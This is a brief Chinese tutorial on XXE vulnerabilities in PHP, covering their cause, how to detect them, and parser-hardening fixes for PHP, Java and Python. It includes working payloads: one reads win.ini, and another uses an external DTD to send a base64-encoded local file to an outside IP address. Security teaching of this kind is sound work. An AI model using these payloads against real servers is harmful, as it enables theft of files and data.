XXE原理.
运维人员使用了低版本的php,libxml低于2.9.1就会造成xxe或者程序员设置了libxml_disable_entity_loader(FALSE);
XXE定义
xml用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己语言进行定义的源语言。xml文档结构包括xml声明,DTD文档类型定义(可选)、文档元素。
如何查找XXE漏洞
1.抓包看accept头是否接受xml。2.抓包修改数据类型,把json改成xml来传输数据。
XXE攻击
1.有回显: <?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker SYSTEM "file:///c:/windows/win.ini" > ]> <name>&hacker;</name>
2.无回显: xml调用: <!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]> 建立*.dtd: <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.0.105:8080?p=%file;'>">
XXE防范方法:
1.升级PHP版本.
2.程序员修改代码:
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
setFeature("http://xml.org/sax/features/external-general-entities",false)
setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
3.过滤关键词. <!DOCTYPE、<!ENTITY SYSTEM、PUBLIC